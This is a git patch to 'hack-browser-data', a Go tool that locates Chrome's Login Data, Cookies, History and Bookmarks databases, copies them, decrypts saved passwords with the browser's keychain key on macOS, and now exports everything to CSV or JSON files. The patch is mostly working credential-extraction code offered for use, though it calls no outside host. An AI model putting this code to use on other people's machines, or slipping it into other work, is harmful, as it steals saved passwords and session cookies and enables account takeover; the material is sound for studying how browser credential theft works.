From 55bfd89fa966d7048d94b7882a9711899b4bcb8e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E1=B4=8D=E1=B4=8F=E1=B4=8F=C9=B4D4=CA=80=E1=B4=8B?= Date: Tue, 23 Jun 2020 18:30:00 +0800 Subject: [PATCH] feat: add csv and json output --- .gitignore | 183 ++++++++++++++++++++++++++++++++++++++++++ cmd/cmd.go | 46 ++++++++--- core/common/common.go | 138 +++++++++++++++++++++++++++++-- go.mod | 1 + go.sum | 2 + main.go | 16 ++-- utils/utils.go | 48 ++++++++--- utils/utils_darwin.go | 12 +-- 8 files changed, 408 insertions(+), 38 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..ba76033 --- /dev/null +++ b/.gitignore @@ -0,0 +1,183 @@ +# General +.DS_Store +.AppleDouble +.LSOverride + +# Icon must end with two \r +Icon + +# Thumbnails +._* + +# Files that might appear in the root of a volume +.DocumentRevisions-V100 +.fseventsd +.Spotlight-V100 +.TemporaryItems +.Trashes +.VolumeIcon.icns +.com.apple.timemachine.donotpresent + +# Directories potentially created on remote AFP share +.AppleDB +.AppleDesktop +Network Trash Folder +Temporary Items +.apdisk + + +# Byte-compiled / optimized / DLL files +__pycache__/ +*.py[cod] +*$py.class + +# C extensions +*.so + +# Distribution / packaging +.Python +build/ +develop-eggs/ +dist/ +downloads/ +eggs/ +.eggs/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +pip-wheel-metadata/ +share/python-wheels/ +*.egg-info/ +.installed.cfg +*.egg +MANIFEST + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# Installer logs +pip-log.txt +pip-delete-this-directory.txt + +# Unit test / coverage reports +htmlcov/ +.tox/ +.nox/ +.coverage +.coverage.* +.cache +nosetests.xml +coverage.xml +*.cover +*.py,cover +.hypothesis/ +.pytest_cache/ + +# Translations +*.mo +*.pot + +# Django stuff: +*.log +local_settings.py +db.sqlite3 +db.sqlite3-journal + +# Flask stuff: +instance/ +.webassets-cache + +# Scrapy stuff: +.scrapy + +# Sphinx documentation +docs/_build/ + +# PyBuilder +target/ + +# Jupyter Notebook +.ipynb_checkpoints + +# IPython +profile_default/ +ipython_config.py + +# pyenv +.python-version + +# pipenv +# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. +# However, in case of collaboration, if having platform-specific dependencies or dependencies +# having no cross-platform support, pipenv may install dependencies that don't work, or not +# install all needed dependencies. +#Pipfile.lock + +# PEP 582; used by e.g. github.com/David-OConnor/pyflow +__pypackages__/ + +# Celery stuff +celerybeat-schedule +celerybeat.pid + +# SageMath parsed files +*.sage.py + +# Environments +.env +.venv +env/ +venv/ +ENV/ +env.bak/ +venv.bak/ + +# Spyder project settings +.spyderproject +.spyproject + +# Rope project settings +.ropeproject + +# mkdocs documentation +/site + +# mypy +.mypy_cache/ +.dmypy.json +dmypy.json + +# Pyre type checker +.pyre/ + +# idea +.idea/ +.idea + +# windows +*.exe +# macOS + +# binary +cmd/agent +cmd/server +# bin +# file +*.csv +*.xlsx +*.txt + +# config file +config.toml +*.json +Bookmarks +Login Data +Cookies +hack-browser-data +History + diff --git a/cmd/cmd.go b/cmd/cmd.go index 577c2b5..0b5414b 100644 --- a/cmd/cmd.go +++ b/cmd/cmd.go @@ -1,9 +1,11 @@ package cmd import ( + "hack-browser-data/core/common" "hack-browser-data/log" "hack-browser-data/utils" "os" + "path/filepath" "runtime" "github.com/urfave/cli/v2" @@ -20,31 +22,57 @@ var ( func Execute() { app := &cli.App{ Name: "hack-browser-data", - Usage: "export password/cookie/history/bookmark from browser", - Version: "0.0.1", + Usage: "export passwords/cookies/history/bookmarks from browser", + Version: "0.1.0", Flags: []cli.Flag{ &cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "verbose"}, &cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "all", Usage: "browser name, all|chrome|safari"}, - &cli.StringFlag{Name: "dir", Aliases: []string{"d"}, Destination: &exportDir, Value: "data", Usage: "export dir"}, + &cli.StringFlag{Name: "results-dir", Aliases: []string{"d"}, Destination: &exportDir, Value: "results", Usage: "export dir"}, &cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "result format, csv|json"}, &cli.StringFlag{Name: "export-data", Aliases: []string{"e"}, Destination: &exportData, Value: "all", Usage: "all|password|cookie|history|bookmark"}, }, Action: func(c *cli.Context) error { log.InitLog() + utils.MakeDir(exportDir) switch runtime.GOOS { case "darwin": err := utils.InitChromeKey() if err != nil { - } case "windows": + + } + var fileList []string + switch exportData { + case "all": + fileList = utils.GetDBPath(utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies) + case "password", "cookie", "history", "bookmark": + fileList = utils.GetDBPath(exportData) + default: + log.Fatal("choose one all|password|cookie|history|bookmark") + } + + for _, v := range fileList { + dst := filepath.Base(v) + err := utils.CopyDB(v, dst) + if err != nil { + log.Println(err) + continue + } + common.ParseDB(dst) } - switch { - case browser == "all": - case exportDir == "data": - case exportData == "all": - case outputFormat == "json": + if outputFormat == "json" { + err := common.FullData.OutPutJson(exportDir, outputFormat) + if err != nil { + log.Error(err) + } + } else { + err := common.FullData.OutPutCsv(exportDir, outputFormat) + if err != nil { + log.Error(err) + } } + return nil }, } diff --git a/core/common/common.go b/core/common/common.go index 0740176..de6aa5c 100644 --- a/core/common/common.go +++ b/core/common/common.go @@ -1,11 +1,16 @@ package common import ( + "bytes" "database/sql" + "encoding/json" "hack-browser-data/log" "hack-browser-data/utils" + "os" "time" + "github.com/gocarina/gocsv" + _ "github.com/mattn/go-sqlite3" "github.com/tidwall/gjson" ) @@ -35,14 +40,15 @@ const ( type ( BrowserData struct { BrowserName string + OutPutType string LoginData []*LoginData Bookmarks []*Bookmarks Cookies []*Cookies History []*History } LoginData struct { - UserName string `json:"user_name"` - encryptPass []byte `json:"-"` + UserName string `json:"user_name"` + encryptPass []byte Password string `json:"password"` LoginUrl string `json:"login_url"` CreateDate time.Time `json:"create_date"` @@ -75,6 +81,129 @@ type ( } ) +func (b BrowserData) OutPutCsv(dir, format string) error { + switch { + case len(b.Bookmarks) != 0: + filename := utils.FormatFileName(dir, utils.Bookmarks, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + err = gocsv.MarshalFile(b.Bookmarks, file) + if err != nil { + log.Error(err) + } + fallthrough + case len(b.LoginData) != 0: + filename := utils.FormatFileName(dir, utils.LoginData, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + err = gocsv.MarshalFile(b.LoginData, file) + if err != nil { + log.Error(err) + } + fallthrough + case len(b.Cookies) != 0: + filename := utils.FormatFileName(dir, utils.Cookies, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + err = gocsv.MarshalFile(b.Cookies, file) + if err != nil { + log.Error(err) + } + fallthrough + case len(b.History) != 0: + filename := utils.FormatFileName(dir, utils.History, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + err = gocsv.MarshalFile(b.History, file) + if err != nil { + log.Error(err) + } + } + return nil +} + +func (b BrowserData) OutPutJson(dir, format string) error { + switch { + case len(b.Bookmarks) != 0: + filename := utils.FormatFileName(dir, utils.Bookmarks, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + enc.Encode(b.BrowserName) + file.Write(w.Bytes()) + fallthrough + case len(b.Cookies) != 0: + filename := utils.FormatFileName(dir, utils.Cookies, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(b.Cookies) + if err != nil { + log.Println(err) + } + file.Write(w.Bytes()) + fallthrough + case len(b.History) != 0: + filename := utils.FormatFileName(dir, utils.History, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(b.History) + if err != nil { + log.Println(err) + } + file.Write(w.Bytes()) + fallthrough + case len(b.LoginData) != 0: + filename := utils.FormatFileName(dir, utils.LoginData, format) + file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) + defer file.Close() + if err != nil { + log.Errorf("create file %s fail", filename) + } + w := new(bytes.Buffer) + enc := json.NewEncoder(w) + enc.SetEscapeHTML(false) + enc.SetIndent("", "\t") + err = enc.Encode(b.LoginData) + if err != nil { + log.Println(err) + } + file.Write(w.Bytes()) + } + return nil +} + func ParseDB(dbname string) { switch dbname { case utils.LoginData: @@ -107,7 +236,6 @@ func parseBookmarks() { var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` func parseLogin() { - //datetime(visit_time / 1000000 + (strftime('%s', '1601-01-01')), 'unixepoch') login := &LoginData{} loginDB, err := sql.Open("sqlite3", utils.LoginData) defer func() { @@ -201,7 +329,7 @@ func parseCookie() { FullData.Cookies = cookieList } -var queryUrl = `SELECT url, title, visit_count, last_visit_time FROM urls` +var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` func parseHistory() { history := &History{} @@ -215,7 +343,7 @@ func parseHistory() { log.Println(err) } err = historyDB.Ping() - rows, err := historyDB.Query(queryUrl) + rows, err := historyDB.Query(queryHistory) defer func() { if err := rows.Close(); err != nil { log.Println(err) diff --git a/go.mod b/go.mod index 6f19508..3990a6e 100644 --- a/go.mod +++ b/go.mod @@ -3,6 +3,7 @@ module hack-browser-data go 1.14 require ( + github.com/gocarina/gocsv v0.0.0-20200330101823-46266ca37bd3 github.com/mattn/go-sqlite3 v1.14.0 github.com/tidwall/gjson v1.6.0 github.com/urfave/cli/v2 v2.2.0 diff --git a/go.sum b/go.sum index 8a8270f..d1bbd21 100644 --- a/go.sum +++ b/go.sum @@ -7,6 +7,8 @@ github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:ma github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/gocarina/gocsv v0.0.0-20200330101823-46266ca37bd3 h1:B7k6N+JlLM/u1xrIkpifUfE7GRJsZIYHoHbiAa5cSP4= +github.com/gocarina/gocsv v0.0.0-20200330101823-46266ca37bd3/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= github.com/kr/pretty v0.1.0 h1:L/CwN0zerZDmRFUapSPitk6f+Q3+0za1rQkzVuMiMFI= diff --git a/main.go b/main.go index d0f31e7..bd0c737 100644 --- a/main.go +++ b/main.go @@ -1,7 +1,9 @@ package main import ( + "encoding/json" "fmt" + "hack-browser-data/cmd" "hack-browser-data/core/common" "hack-browser-data/log" "hack-browser-data/utils" @@ -10,8 +12,7 @@ import ( ) func main() { - log.InitLog() - parse() + cmd.Execute() } func parse() { @@ -26,11 +27,7 @@ func parse() { case "windows": fmt.Println("Windows") } - chromePath, err := utils.GetDBPath(utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies) - //chromePath, err := utils.GetDBPath(utils.Cookies) - if err != nil { - log.Error("can't find chrome.app in OS") - } + chromePath := utils.GetDBPath(utils.LoginData, utils.History, utils.Bookmarks, utils.Cookies) for _, v := range chromePath { dst := filepath.Base(v) err := utils.CopyDB(v, dst) @@ -44,4 +41,9 @@ func parse() { fmt.Println("cookies", len(common.FullData.Cookies)) fmt.Println("login data", len(common.FullData.LoginData)) fmt.Println("history", len(common.FullData.History)) + d, err := json.MarshalIndent(common.FullData.Bookmarks, "", "\t") + err = utils.WriteFile("data.json", d) + if err != nil { + log.Println(err) + } } diff --git a/utils/utils.go b/utils/utils.go index b08922b..8e6b6d7 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -1,10 +1,13 @@ package utils import ( + "fmt" "hack-browser-data/log" "io/ioutil" "os" + "path" "path/filepath" + "strings" "time" ) @@ -29,7 +32,6 @@ func CopyDB(src, dst string) error { if err != nil { log.Println(err.Error()) } - err = ioutil.WriteFile(dst, sourceFile, 0777) if err != nil { log.Println(err.Error()) @@ -37,14 +39,6 @@ func CopyDB(src, dst string) error { return err } -func ParseBookMarks() { - -} - -func RemoveFile() { - -} - func IntToBool(a int) bool { switch a { case 0, -1: @@ -54,6 +48,10 @@ func IntToBool(a int) bool { } func TimeEpochFormat(epoch int64) time.Time { + maxTime := int64(99633311740000000) + if epoch > maxTime{ + epoch = maxTime + } t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC) d := time.Duration(epoch) for i := 0; i < 1000; i++ { @@ -62,11 +60,37 @@ func TimeEpochFormat(epoch int64) time.Time { return t } +// check time our range[1.9999] +func checkTimeRange(check time.Time) time.Time { + end, _ := time.Parse(time.RFC3339, "9000-01-02T15:04:05Z07:00") + if check.Before(end) { + return check + } else { + return end + } +} + func ReadFile(filename string) (string, error) { s, err := ioutil.ReadFile(filename) return string(s), err } -//func MakeDir(dirName string) error { -// -//} +func WriteFile(filename string, data []byte) error { + err := ioutil.WriteFile(filename, data, 0644) + if err != nil { + return nil + } + return err +} + +func FormatFileName(dir, filename, format string) string { + r := strings.TrimSpace(strings.ToLower(filename)) + p := path.Join(dir, fmt.Sprintf("%s.%s", r, format)) + return p +} + +func MakeDir(dirName string) { + if _, err := os.Stat(dirName); os.IsNotExist(err) { + err = os.Mkdir(dirName, 0700) + } +} diff --git a/utils/utils_darwin.go b/utils/utils_darwin.go index 1cb9cf7..fc59ad8 100644 --- a/utils/utils_darwin.go +++ b/utils/utils_darwin.go @@ -25,17 +25,19 @@ var ( chromePass []byte ) -func GetDBPath(dbName ...string) (dbFile []string, err error) { +func GetDBPath(dbName ...string) (dbFile []string) { for _, v := range dbName { s, err := filepath.Glob(macChromeDir + v) if err != nil && len(s) == 0 { continue } - if len(s) > 0{ + if len(s) > 0 { + log.Debugf("Find %s File Success", v) + log.Debugf("%s file location is %s", v, s[0]) dbFile = append(dbFile, s[0]) } } - return dbFile, nil + return dbFile } func InitChromeKey() error { @@ -52,8 +54,8 @@ func InitChromeKey() error { return err } if stderr.Len() > 0 { - log.Println(stderr.String()) err = errors.New(stderr.String()) + log.Println(err) } temp := stdout.Bytes() chromePass = temp[:len(temp)-1] @@ -66,7 +68,7 @@ func decryptPass(chromePass []byte) { } func Aes128CBCDecrypt(encryptPass []byte) (string, error) { - if chromeKey == nil { + if len(chromeKey) == 0 { return "", nil } block, err := aes.NewCipher(chromeKey)